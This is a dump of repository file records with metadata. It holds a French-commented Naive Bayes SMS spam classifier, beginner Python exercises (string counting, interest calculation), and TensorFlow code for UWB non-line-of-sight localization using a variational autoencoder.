diagramme*****\")\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nx = [1,2]\r\ny = [confusion_m[1,0],confusion_m[0,1]]\r\nplt.bar(x,y)\r\n\r\nplt.xlabel('vrai négatif / faux Positif')\r\nplt.ylabel('nombres de mail correspondant')\r\nplt.title('diagramme de comparaison matrice confusion')\r\n" }, { "alpha_fraction": 0.8421052694320679, "alphanum_fraction": 0.8421052694320679, "avg_line_length": 43.33333206176758, "blob_id": "3072277e8e4b399104ee7fbe3afd2faf706a2e75", "content_id": "4c15fb796f7909ed08f76b1c3921df65ae99b9fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 133, "license_type": "no_license", "max_line_length": 88, "num_lines": 3, "path": "/README.md", "repo_name": "mireille93/machinelearning", "src_encoding": "UTF-8", "text": "# machinelearning\nsms spam classification avec Naives Bayes, SVM lineeaire et SVM non lineaire avec Pyhton\nComparaison des resultats\n" }, { "alpha_fraction": 0.6801223158836365, "alphanum_fraction": 0.6938837766647339, "avg_line_length": 32.58762741088867, "blob_id": "55163df73cb6d9c06f8f7c6961b40dc49088a75b", "content_id": "134b5f762d398bf743de9224a2bb7872d6670364", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3271, "license_type": "no_license", "max_line_length": 151, "num_lines": 97, "path": "/naivesbayes.py", "repo_name": "mireille93/machinelearning", "src_encoding": "UTF-8", "text": "# NAIVES BAYES\n\n# importing the Dataset avec pandas\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# telechhargement du jeu de donnnees en format csv les label separe des messages par des esoaces\nmessages = pd.read_csv('smsspamcollection/SMSSpamCollection', sep='\\t',\n names=[\"label\", \"message\"])\n\n#Pretraitement\nimport re\nimport nltk\n\n#stopwords contient des mots courant en anglais les plus utilises\nnltk.download('stopwords')\n\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import PorterStemmer\nps = PorterStemmer()\ncorpus = []\n#les mots de stopwords sont compares et supprimes du jeu de donnees\nfor i in range(0, len(messages)):\n review = re.sub('[^a-zA-Z]', ' ', messages['message'][i])\n review = review.lower()\n review = review.split()\n \n review = [ps.stem(word) for word in review if not word in stopwords.words('english')]\n review = ' '.join(review)\n corpus.append(review)\n \n# Utilisation de 2500 mots les plus frequents du jeu de donnnes\n# la matrice X contient une matrice de 5572,2500 de valeur 0/1\n# y est contient la transformation des label transformes en (ham=0/spam=1) du jeu de donnees\nfrom sklearn.feature_extraction.text import CountVectorizer\ncv = CountVectorizer(max_features=2500)\nX = cv.fit_transform(corpus).toarray()\n\ny=pd.get_dummies(messages['label'])\ny=y.iloc[:,1].values\n\n\n# Train Test Split (partage du jeu de donnees pour les tests, 20% de la taille totale)\n# 80% restant pour l'entraienement\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 0)\n\n \n\n# Training model using Naive bayes classifier\n\nfrom sklearn.naive_bayes import MultinomialNB\n\n#recuperation de l'objet Multinomial naives bayes\nspam_detect_model = MultinomialNB().fit(X_train, y_train)\n\n#faire la predicton des donnees spam et mail ordinaire dans y_pred\ny_pred=spam_detect_model.predict(X_test)\n\n#fonction pour calculer le pourcentage de reussite de la methode de \n#classification par rapport aux resltats predits et les tests entraine\n\ndef pourcentage_reussite(y_pred, y_test):\n count = 0\n pourcentage = 0\n for i in range(len(y_pred)):\n if(y_pred[i]==y_test[i]):\n count = count+1\n \n pourcentage = count*100/len(y_pred) \n return pourcentage\nprint(\"************************************************************\")\nprint('pourcentage de reuissite est : ',pourcentage_reussite(y_pred, y_test),'\\npourcentage d''echec est :',(100-pourcentage_reussite(y_pred, y_test)))\nprint(\"************************************************************\")\n\n#matrice de confusion des resultats de prediction et de tests\nfrom sklearn.metrics import confusion_matrix\nconfusion_m=confusion_matrix(y_test,y_pred)\n\n# accuracy ou indice de resussite des predictions sur les tests\nfrom sklearn.metrics import accuracy_score\naccuracy=accuracy_score(y_test,y_pred)\n\n\n# visualisation des faux positif et des vrai negatif en diagramme\n\nimport numpy as np\nx = [1,2]\ny = [confusion_m[1,0],confusion_m[0,1]]\nplt.bar(x,y)\n\nplt.xlabel('vrai négatif / faux Positif')\nplt.ylabel('nombres de mail correspondant')\nplt.title('diagramme de comparaison matrice confusion')\n\n\n\n\n\n\n\n\n\n\n\n\n" } ]
3
TriniC0der/Python
https://github.com/TriniC0der/Python
cf85d8a9dd746d2cd64d85efeb6456f27fa4fb4f
27ab317951e3a0dc916f038fd0d4ab71a3156ec8
a883d1df9f4a93347f978a16c3aee95a3ff59393
refs/heads/master
2020-05-24T15:20:29.712550
2015-01-22T06:46:57
2015-01-22T06:46:57
28,923,646
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.5256916880607605, "alphanum_fraction": 0.5573122501373291, "avg_line_length": 14.875, "blob_id": "0e074e1e7bf165b79eb2881dc5f441007c215922", "content_id": "ab86d7a9e69fa1316c2cc52c860c257101e19567", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 253, "license_type": "no_license", "max_line_length": 49, "num_lines": 16, "path": "/counting_bobs.py", "repo_name": "TriniC0der/Python", "src_encoding": "UTF-8", "text": "s = 'bobobobobobobobobobobobobob'\nsub = \"bob\"\n_start = 0\n_end = 3\ncount = 0\nbobs = 0\n\nfor x in s:\n count = s.count(sub,_start,_end)\n if count == 1:\n bobs += 1\n\n _start += 1\n _end += 1\n\nprint('Number of times bob occurs is: %d' % bobs)" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.6470588445663452, "avg_line_length": 12, "blob_id": "0a3e49f5d3299ed30ea3a560fc2e7ba5b7ebd960", "content_id": "ba07b3aad1cefcbb4afd89f4a5064e14d8b7e9ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 119, "license_type": "no_license", "max_line_length": 40, "num_lines": 9, "path": "/ex3.py", "repo_name": "TriniC0der/Python", "src_encoding": "UTF-8", "text": "\n\n\n#discription \nname = raw_input (\"Enter your name: \")\n\nprint name\n\n\ny = float(raw_input('enter a number: '))\n\nprint y" }, { "alpha_fraction": 0.48704662919044495, "alphanum_fraction": 0.49740931391716003, "avg_line_length": 26.571428298950195, "blob_id": "7610162f266bf73fbd109736801802f45b348f8b", "content_id": "1518ff3d76c03125464ecdf8be778dae1994d95f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 193, "license_type": "no_license", "max_line_length": 51, "num_lines": 7, "path": "/problem_set_1.py", "repo_name": "TriniC0der/Python", "src_encoding": "UTF-8", "text": "\nvowels = (['a', 'e', 'i', 'o', 'u'])\ncounter = 0\nfor i in range(len(s)):\n for x in vowels:\n if s[i] == x:\n counter += 1\nprint \"Number of times bob occurs is: %d\" % counter" }, { "alpha_fraction": 0.726190447807312, "alphanum_fraction": 0.726190447807312, "avg_line_length": 17.66666603088379, "blob_id": "7442abb1aa12d2d5c798499f77a33457e11d6af6", "content_id": "469551eba0e820ea324e46284cf96a19786a893e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 168, "license_type": "no_license", "max_line_length": 30, "num_lines": 9, "path": "/ex1.py", "repo_name": "TriniC0der/Python", "src_encoding": "UTF-8", "text": "print \"Hello World\"\nprint \"Hello Again\"\nprint \"I like learning Python\"\nprint \"This is fun\"\nprint \"Yay! Printing\"\nprint \"Wicked\"\nprint \"Done!\"\n\n#A comment #is a comment\n" }, { "alpha_fraction": 0.6554054021835327, "alphanum_fraction": 0.6785714030265808, "avg_line_length": 34.72413635253906, "blob_id": "a4b4382ce2e059e2880cdcef82569fa3dc1887f1", "content_id": "3fbc8fca89fcc6b4a418c611f36929c32432199c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1036, "license_type": "no_license", "max_line_length": 91, "num_lines": 29, "path": "/calcu_intrest.py", "repo_name": "TriniC0der/Python", "src_encoding": "UTF-8", "text": "balance = 4213\nannualInterestRate = 0.2\nmonthlyPaymentRate = 0.04\nmonths = 1\n\ndef calculate(months, monthlyPaymentRate, balance):\n total_paid = 0.0\n while months != 13:\n previous_balance = balance\n monthly_interest_rate = annualInterestRate / 12.0\n minimum_monthly_payment = (monthlyPaymentRate * previous_balance)\n monthly_unpaid_balance = previous_balance - minimum_monthly_payment\n balance = monthly_unpaid_balance + (monthly_interest_rate * monthly_unpaid_balance)\n total_paid += minimum_monthly_payment\n\n\n output(months,minimum_monthly_payment,balance)\n if months == 12:\n print('Total paid: {:.2f}'.format(total_paid))\n print('Remaining balance: {:.2f}'.format(balance))\n months += 1\n\n\ndef output(months, monthlyPaymentRate, balance):\n print('Month: %d' % months)\n print('Minimum monthly payment: {:.2f}'.format(monthlyPaymentRate))\n print('Remaining balance: {:.2f}'.format(balance))\n\ncalculate(months,monthlyPaymentRate,balance)\n" }, { "alpha_fraction": 0.5885558724403381, "alphanum_fraction": 0.5940054655075073, "avg_line_length": 30.95652198791504, "blob_id": "313ba344274fe6b18a2182febd839b3bd43f3081", "content_id": "fbfa1183e749d3fa4c56b4dfd51e52315edb3321", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 734, "license_type": "no_license", "max_line_length": 77, "num_lines": 23, "path": "/sub_string.py", "repo_name": "TriniC0der/Python", "src_encoding": "UTF-8", "text": "from itertools import count\n\ns = 'ffufibyuqobypjk'\n\ndef long_sub(input_string):\n maxsubstr = input_string[0:0] # empty slice (to accept subclasses of str)\n for start in range(len(input_string)): # O(n)\n for end in count(start + len(maxsubstr) + 1): # O(m)\n substr = input_string[start:end] # O(m)\n if len(substr) != (end - start): # found duplicates or EOS\n break\n if sorted(substr) == list(substr):\n maxsubstr = substr\n return maxsubstr\n\nsub = (long_sub(s))\nprint \"Longest substring in alphabetical order is: %s\" %sub\n\n\ndef clip(lo, x, hi):\n result = (((lo + x + hi)) - max(lo,x,hi) - min(lo,x,hi))\n finresult = round(result, 2)\n print finresult" }, { "alpha_fraction": 0.548638105392456, "alphanum_fraction": 0.5849546194076538, "avg_line_length": 17.80487823486328, "blob_id": "c3a8a9c5e211f14b80896ad211a3a6f4cb9106a9", "content_id": "ce51dbe1f8b50a4ab4d350b1d19c7d6d93521683", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 771, "license_type": "no_license", "max_line_length": 51, "num_lines": 41, "path": "/problem_set_2.py", "repo_name": "TriniC0der/Python", "src_encoding": "UTF-8", "text": "x = 23\nepsilon = 0.01\nstep = 0.1\nguess = 0.0\n\nwhile abs(guess**2-x) >= epsilon:\n if guess <= x:\n guess += step\n else:\n break\n\nif abs(guess**2 - x) >= epsilon:\n print 'failed'\nelse:\n print 'succeeded: ' + str(guess)\n\n'''\ns = 'azcbobobegghakl'\nname = 'bob'\ncounter = 0\nfor i in range(len(s)):\n\n for x in vowels:\n if s[i] == x:\n counter += 1\nprint \"Number of times bob occurs is: %d\" % counter\n'''\n\n# step 1 input next letter\n# step 2 is it a B?\n# \n# NO? goto step 1\n# YES? add 1 to count goto step 3\n# step 3 input next letter \n# is it a 0?\n# NO? set count to 0 goto step 1 \n# YES? add 1 to count goto step 4\n# step 4 input next letter \n# is it a B?\n# NO? set count to 0 goto step 1 \n# YES? add count to bob set counter to 0\n" } ]
7
ljc2356/ML_NLOS
https://github.com/ljc2356/ML_NLOS
8b37cfb70544ef6b0bc0048dd5a1569bff435de0
3679dae069ce1b8713dd0cd97ec170edc3d3f48a
3e1461b7fd45ba0fa0f5c53ac8b83e994e52fdca
refs/heads/master
2023-05-08T17:27:37.752023
2021-05-31T07:37:33
2021-05-31T07:37:33
371,603,913
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5975678563117981, "alphanum_fraction": 0.6244344115257263, "avg_line_length": 36.585105895996094, "blob_id": "14a16349c110da29f72fb5789db6ebb1c3e7b6ec", "content_id": "6453a53c6507fdc1eece98872e17d32c0476d819", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3536, "license_type": "no_license", "max_line_length": 153, "num_lines": 94, "path": "/main.py", "repo_name": "ljc2356/ML_NLOS", "src_encoding": "UTF-8", "text": "#%%\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow.keras as keras\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.cluster import DBSCAN\nfrom scipy.io import savemat\nfrom scipy.io import loadmat\nfrom ReadMat import *\nfrom Myclass import *\nfrom AOA import *\nimport time\n\n#%%\n# data_folders = './data/20210508_11201'\n# dataset_folders = './data/Dataset'\n# data_mat = GetMat(data_folders)\n# dataX_Cir = []\n# dataX_D = []\n# dataX_Pdoa = []\n# dataY_Target_loc = []\n# dataX = []\n# for i in range(len(data_mat)):\n# Observe_num = len(data_mat[i]['After_records'])\n# print(\"length of data = \", Observe_num)\n# Cir = np.zeros([Observe_num,8,50,1])\n# D = np.zeros([Observe_num,1])\n# Pdoa = np.zeros(([Observe_num,8]))\n# X = np.zeros([Observe_num,8,52,1])\n# Target_loc = np.zeros([Observe_num,2])\n# for k in range(Observe_num):\n# for antenna in range(8):\n# Cir[k,antenna,:,0] = (np.abs(data_mat[i]['After_records'][k,0]['uwbResult']['cir'][0,0][0,antenna])).reshape((1,50))\n# Cir[k, antenna, :,0] = Cir[k, antenna, :,0]/Cir[k, antenna, :,0].max()\n#\n# X[k,:,0:50,0] = Cir[k,:,:,0]\n# Target_loc[k,:] = data_mat[i]['After_records'][k,0]['Target_loc'][0]\n# D[k,0] = data_mat[i]['After_records'][k,0]['meaResult']['D'][0][0][0][0]\n# Pdoa[k,0:8] = data_mat[i]['After_records'][k,0]['meaResult']['pdoa'][0][0][0]\n# X[k,:,50,0] = Pdoa[k,:]\n# X[k,:,51,0] = D[k,0]\n# if i == 0:\n# dataX_Cir = Cir\n# dataX_D = D\n# dataX_Pdoa = Pdoa\n# dataY_Target_loc = Target_loc\n# dataX = X\n# else:\n# dataX_Cir = np.vstack((dataX_Cir,Cir))\n# dataX_D = np.vstack((dataX_D,D))\n# dataX_Pdoa = np.vstack((dataX_Pdoa,Pdoa))\n# dataY_Target_loc = np.vstack((dataY_Target_loc,Target_loc))\n# dataX = np.vstack((dataX,X))\n# dataY_D_Pdoa = D_AOA_cal(dataY_Target_loc)\n# dataX_train,dataX_test,dataY_train,dataY_test = train_test_split(dataX,dataY_D_Pdoa,test_size=0.2,random_state=42)\n#\n# Dataset_dict = {'dataX':dataX,'dataY':dataY_D_Pdoa,'dataX_train':dataX_train,'dataX_test':dataX_test,'dataY_train':dataY_train,'dataY_test':dataY_test}\n# savemat(file_name=os.path.join(dataset_folders,'Dataset'),mdict=Dataset_dict)\n\n#%%\ndata_folders = './data/20210508_11201'\ndataset_folders = './data/Dataset'\ndataset = loadmat(file_name=os.path.join(dataset_folders,'Dataset'))\ndataX = dataset['dataX']\ndataY = dataset['dataY']\ndataX_train = dataset['dataX_train']\ndataX_test = dataset['dataX_test']\ndataY_train = dataset['dataY_train']\ndataY_test = dataset['dataY_test']\n#%%\noptimizer = tf.keras.optimizers.Adam(1e-4)\nepochs = 1000000\nlatent_dim = 50\nmodel = CVAE(latent_dim)\nmodel.load_weights(filepath='./Model/')\nrmse_mat = []\nrmse_mat.append(loadmat('min_rmse.mat')['min_rmse'][0,0])\n\nfor epoch in range(1,epochs + 1):\n compute_apply_gradients(model,dataX_train,dataY_train,optimizer)\n # compute_rmse_apply_gradients(model, dataX_train, dataY_train, optimizer)\n loss = compute_loss(model,dataX_test,dataY_test)\n rmse = compute_rmse(model,dataX_test,dataY_test).numpy()\n\n if rmse <= min(rmse_mat):\n rmse_mat.append(rmse)\n mdic = {'min_rmse': rmse}\n savemat('min_rmse.mat', mdic)\n model.save_weights(filepath='./Model/')\n print('weights of model has been saved')\n\n print('Epoch:{}, Tese set loss:{}, Test set RMSE:{} '.format(epoch,loss,rmse))\n\n\n\n" }, { "alpha_fraction": 0.598560094833374, "alphanum_fraction": 0.6166832447052002, "avg_line_length": 41.8138313293457, "blob_id": "b8da0c2071c8a41856ed8df6856d5ab0ff05c7c8", "content_id": "6e0551f9f6b9e7c0828b95a40473bddcf7c5abd9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8056, "license_type": "no_license", "max_line_length": 154, "num_lines": 188, "path": "/Myclass.py", "repo_name": "ljc2356/ML_NLOS", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\nimport tensorflow.keras as keras\n\nclass Autoencoder(keras.Model):\n def __init__(self,latent_dim):\n super(Autoencoder,self).__init__()\n self.latent_dim = latent_dim\n self.encoder = keras.Sequential([\n keras.layers.InputLayer(input_shape=[8,50,1]),\n keras.layers.Conv2D(16,(3,3),activation='relu',padding='same',strides=2),\n keras.layers.Conv2D(8,(3,3),activation='relu',padding='same',strides=2),\n keras.layers.Flatten(),\n keras.layers.Dense(latent_dim,activation='relu')])\n self.decoder = keras.Sequential([ #this dimension is designed\n keras.layers.InputLayer(input_shape=[latent_dim]),\n keras.layers.Dense(208,activation='relu'),\n keras.layers.Reshape([2,13,8]),\n keras.layers.Conv2DTranspose(8,kernel_size=3,strides=2,activation='relu',padding='same'),\n keras.layers.Conv2DTranspose(16,kernel_size=3,strides=2,activation='relu',padding='same'),\n keras.layers.Conv2D(1,kernel_size=(1,3),activation='sigmoid'),\n ])\n def call(self,x):\n encoded = self.encoder(x)\n decoded = self.decoder(encoded)\n return decoded\n\nclass NN_cell(keras.Model):\n def __init__(self):\n super(NN_cell, self).__init__()\n self.NN = keras.Sequential([\n keras.layers.InputLayer(input_shape=[19]),\n keras.layers.Dense(64, activation='relu'),\n keras.layers.BatchNormalization(),\n keras.layers.Dense(128, activation='relu'),\n keras.layers.BatchNormalization(),\n keras.layers.Dense(9),\n keras.layers.LeakyReLU()\n ])\n def call(self,x):\n output = self.NN(x)\n return output\n\nclass NLOS_Model_List:\n def __init__(self,num_NN):\n self.modellist = []\n for i in range(num_NN):\n self.modellist.append(NN_cell())\n def __call__(self, dataX):\n max_dataX_index = int(max(dataX[:,0]))\n min_dataX_index = int(min(dataX[:,0]))\n Ylist = np.zeros(shape=[dataX.shape[0],9])\n for i in range(min_dataX_index,max_dataX_index+1):\n ith_index = (dataX[:,0]==i)\n Pre_result = self.modellist[i](dataX[ith_index , 1:])\n Ylist[ith_index,:] = Pre_result\n return Ylist\n def compile(self,optimizer = 'rmsprop',loss =None):\n for i in range(len(self.modellist)):\n self.modellist[i].compile(optimizer=optimizer,loss=loss)\n return True\n def fit(self,dataX,dataY,epochs = 1,validation_split = 0.0,shuffle = True,callbacks = None):\n max_dataX_index = int(max(dataX[:,0]))\n min_dataX_index = int(min(dataX[:,0]))\n for i in range(min_dataX_index,max_dataX_index+1):\n ith_index = (dataX[:,0] == i)\n self.modellist[i].fit(dataX[ith_index,1:],dataY[ith_index,:],epochs=epochs,validation_split=validation_split,shuffle=True,callbacks=callbacks)\n return True\n\n def save_weight(self,folderpath,overwrite = True):\n for i in range(len(self.modellist)):\n modelname = '%d.h5' %i\n FullModelName = folderpath + modelname\n self.modellist[i].save_weights(filepath=FullModelName,overwrite=overwrite)\n\n def load_weight(self,folderpath):\n for i in range(len(self.modellist)):\n modelname = '%d.h5' %i\n FullModelName = folderpath + modelname\n self.modellist[i].load_weights(filepath= FullModelName)\n\n\n\nclass CVAE(tf.keras.Model):\n def __init__(self,latent_dim):\n super(CVAE, self).__init__()\n self.latent_dim = latent_dim\n self.inference_net = tf.keras.Sequential([\n tf.keras.layers.InputLayer(input_shape=(8,52,1)),\n tf.keras.layers.Conv2D(filters=32,kernel_size=3,strides=2,activation='relu',padding=\"SAME\"),\n tf.keras.layers.Conv2D(filters=64,kernel_size=3,strides=2,activation='relu',padding=\"SAME\"),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(latent_dim + latent_dim) #no activation\n ])\n self.generative_net = tf.keras.Sequential([\n tf.keras.layers.InputLayer(input_shape=latent_dim),\n tf.keras.layers.Dense(units=2*13*64,activation=\"relu\"),\n tf.keras.layers.Reshape(target_shape=(2,13,64)),\n tf.keras.layers.Conv2DTranspose(filters=64,kernel_size=3,strides=(2,2),padding=\"SAME\",activation='relu'),\n tf.keras.layers.Conv2DTranspose(filters=32,kernel_size=3,strides=(2,2),padding=\"SAME\",activation='relu'),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(units=8*52*2) #no activation\n ])\n self.MLP_net = tf.keras.Sequential([\n tf.keras.layers.InputLayer(input_shape=latent_dim),\n tf.keras.layers.Dense(units=latent_dim * 4,activation=\"relu\"),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(units=latent_dim * 8,activation=\"relu\"),\n tf.keras.layers.BatchNormalization(),\n tf.keras.layers.Dense(units=9),\n tf.keras.layers.LeakyReLU()\n ])\n\n def encode(self,x):\n mean_zx,logvar_zx = tf.split(self.inference_net(x),num_or_size_splits=2,axis=1)\n return mean_zx,logvar_zx\n def SampleAndGenZ(self,mean,logvar):\n eps = tf.random.normal(shape=mean.shape)\n return eps * tf.exp(logvar * 0.5) + mean\n def decode(self,z):\n mean_xz,logvar_xz = tf.split(self.generative_net(z),num_or_size_splits=2,axis=1)\n return mean_xz,logvar_xz\n def SampleAndGenX(self,mean,logvar):\n eps = tf.random.normal(shape=mean.shape)\n Flatten_x = eps * tf.exp(logvar * 0.5) + mean\n return tf.reshape(tensor=Flatten_x,shape=[8,-1])\n def Predict(self,z):\n pre_D_PDOA = self.MLP_net(z)\n return pre_D_PDOA\n def call(self, inputs, training=None, mask=None):\n mean_zx,logvar_zx = self.encode(inputs)\n z = self.SampleAndGenZ(mean_zx,logvar_zx)\n pre_y = self.MLP_net(z)\n return pre_y\n\n\ndef log_norm_pdf(sample,mean,logvar,raxis = 1):\n mean = tf.cast(mean,tf.float64)\n logvar = tf.cast(logvar,tf.float64)\n sample = tf.cast(sample,tf.float64)\n log2pi = tf.cast(tf.math.log(2* np.pi),tf.float64)\n prob = tf.reduce_sum(\n -0.5 * ((sample - mean)**2 * tf.exp(-logvar) + logvar + log2pi)\n )\n return prob\n\n\ndef compute_loss(model,x,y):\n mean_zx,logvar_zx = model.encode(x)\n z = model.SampleAndGenZ(mean_zx,logvar_zx)\n mean_xz,logvar_xz = model.decode(z)\n\n x_flatten = x.reshape(x.shape[0],8 * 52)\n logpx_z = log_norm_pdf(x_flatten,mean_xz,logvar_xz)\n logpz = log_norm_pdf(z,0.,0.)\n logpz_x = log_norm_pdf(z,mean_zx,logvar_zx)\n VAE_loss = -1 * tf.reduce_mean(logpx_z + logpz - logpz_x)\n\n pre_y = model.MLP_net(z)\n rmse = tf.sqrt(tf.reduce_mean(tf.reduce_sum((pre_y - y)**2,axis=1)))\n rmse = tf.cast(rmse,VAE_loss.dtype)\n\n sum_loss = VAE_loss + rmse\n return sum_loss\n\ndef compute_rmse(model,x,y,split = False):\n mean_zx, logvar_zx = model.encode(x)\n z = model.SampleAndGenZ(mean_zx, logvar_zx)\n pre_y = model.MLP_net(z)\n if split == False:\n rmse = tf.sqrt(tf.reduce_mean(tf.reduce_sum((pre_y - y)**2,axis=1)))\n return rmse\n else:\n rmse_D = tf.sqrt(tf.reduce_mean((pre_y[:,0] - y[:,0])**2))\n rmse_PDOA = tf.sqrt(tf.reduce_mean(tf.reduce_sum((pre_y[:,1:] - y[:,1:])**2,axis=1)))\n return rmse_D,rmse_PDOA\n\ndef compute_apply_gradients(model,x,y,optimizer):\n with tf.GradientTape() as tape:\n loss = compute_loss(model,x,y)\n gradients = tape.gradient(loss,model.trainable_variables)\n optimizer.apply_gradients(zip(gradients,model.trainable_variables))\n\ndef compute_rmse_apply_gradients(model,x,y,optimizer):\n with tf.GradientTape() as tape:\n rmse = compute_rmse(model,x,y)\n gradients = tape.gradient(rmse,model.MLP_net.trainable_variables)\n optimizer.apply_gradients(zip(gradients,model.MLP_net.trainable_variables))\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7375964522361755, "alphanum_fraction": 0.7541345357894897, "avg_line_length": 29.266666412353516, "blob_id": "ae957114b07cef6cf338ea5daba071fba3ff2ba2", "content_id": "31cc9b5a61df3831a5c63fc09c783a3044dde73f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 907, "license_type": "no_license", "max_line_length": 68, "num_lines": 30, "path": "/PredictAndAnly.py", "repo_name": "ljc2356/ML_NLOS", "src_encoding": "UTF-8", "text": "#%%\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow.keras as keras\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.cluster import DBSCAN\nfrom scipy.io import savemat\nfrom scipy.io import loadmat\nfrom ReadMat import *\nfrom Myclass import *\nfrom AOA import *\nimport time\n#%%\ndata_folders = './data/20210508_11201'\ndataset_folders = './data/Dataset'\ndataset = loadmat(file_name=os.path.join(dataset_folders,'Dataset'))\ndataX = dataset['dataX']\ndataY = dataset['dataY']\ndataX_train = dataset['dataX_train']\ndataX_test = dataset['dataX_test']\ndataY_train = dataset['dataY_train']\ndataY_test = dataset['dataY_test']\n#%%\nlatent_dim = 50\nmodel = CVAE(latent_dim)\nmodel.load_weights(filepath='./Model/')\nrmse_D,rmse_PDOA = compute_rmse(model,dataX,dataY,split=True)\nprint('rmse of D:{} rmse of PDOA:{}'.format(rmse_D,rmse_PDOA))" }, { "alpha_fraction": 0.5861650705337524, "alphanum_fraction": 0.6116504669189453, "avg_line_length": 31.75, "blob_id": "f6ed4b45764fcd9259d309162ac7d93a6822ff29", "content_id": "1b1e7294cb7816eef9a457f917bca34a6c81b4b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 856, "license_type": "no_license", "max_line_length": 66, "num_lines": 24, "path": "/ReadMat.py", "repo_name": "ljc2356/ML_NLOS", "src_encoding": "UTF-8", "text": "import scipy.io as scio\r\nimport os\r\nimport numpy as np\r\n\r\ndef GetMat(data_folders):\r\n # data_folders = '.\\data\\20210413_indoor_AfterRecords'\r\n # data_folders = '.\\\\data\\\\20210413_indoor_AfterRecords'\r\n data_mat = []\r\n for root,dirs,files in os.walk(data_folders):\r\n print(\"读取到以下文件\")\r\n for name in files:\r\n print(os.path.join(root,name))\r\n data_mat.append(scio.loadmat(os.path.join(root,name)))\r\n\r\n return data_mat\r\n\r\ndef Creat_Trainset(DatasetX,DatasetY,lookback=1):\r\n dataX,dataY = [],[]\r\n for i in range(len(DatasetX[:,0,0,0]) - lookback ):\r\n dataX.append(DatasetX[i:(i+lookback),:,:,:])\r\n dataY.append(DatasetY[i+lookback-1]) #对应DataX相应的最后一位\r\n npdataX = np.array(dataX)\r\n npdataY = np.array(dataY)\r\n return npdataX,npdataY\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5490549206733704, "alphanum_fraction": 0.5931593179702759, "avg_line_length": 33.75, "blob_id": "f0dfe16d44a625489e1c12ceeb5c41bb2c5af3ab", "content_id": "edfe74b28f2e61ef889b5e3c0cff33a240c7f35d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1111, "license_type": "no_license", "max_line_length": 83, "num_lines": 32, "path": "/AOA.py", "repo_name": "ljc2356/ML_NLOS", "src_encoding": "UTF-8", "text": "import numpy as np\nimport dill\nimport math\ndef D_AOA_cal(Target_loc):\n fc = 3.9936e+9\n c = 299792458\n radius = 0.0732\n Square_Target_loc = np.power(Target_loc,2)\n real_D = np.sqrt((Square_Target_loc[:,0] + Square_Target_loc[:,1]).reshape(-1))\n\n real_Angle = np.arctan2(Target_loc[:,1],Target_loc[:,0])\n lambda_0 = c/fc\n antenna_angle = []\n phi = []\n real_Pdoa = np.zeros([len(Target_loc),8])\n for k in range(8):\n antenna_angle.append(wrapToPi(k * 2 * np.pi / 8))\n std_phi = (2 * np.pi * fc / c * radius * np.cos(real_Angle)).reshape(-1,1)\n\n for k in range(8):\n phi = (2 * np.pi * fc / c * radius * np.cos(real_Angle - antenna_angle[k]))\n phi = phi.reshape(-1,1)\n real_Pdoa[:,k] = (wrapToPi(phi - std_phi)).reshape(-1)\n real_D_Pdoa = np.hstack((real_D.reshape(-1,1),real_Pdoa.reshape(-1,8)))\n return real_D_Pdoa\n\ndef wrapToPi(angle):\n angle = np.array(angle).reshape(-1,1)\n wraped_angle = np.zeros([len(angle),1])\n for k in range(len(angle)):\n wraped_angle[k,0] = math.remainder(angle[k,0],math.tau)\n return wraped_angle" } ]
5
Madh93/yadummy
https://github.com/Madh93/yadummy
722ec2c4879b80752b0d7a75cd8388ac9e6a2947
a2ee41bb49e58cc3f8d11a03e6b055414c213e36
6765221e1c1a3afac5715a8225a50b8c6e4bac9e
refs/heads/master
2020-05-01T16:25:15.741781
2019-03-27T08:54:42
2019-03-27T08:54:42
177,571,396
0
0
null
null
null
null
null
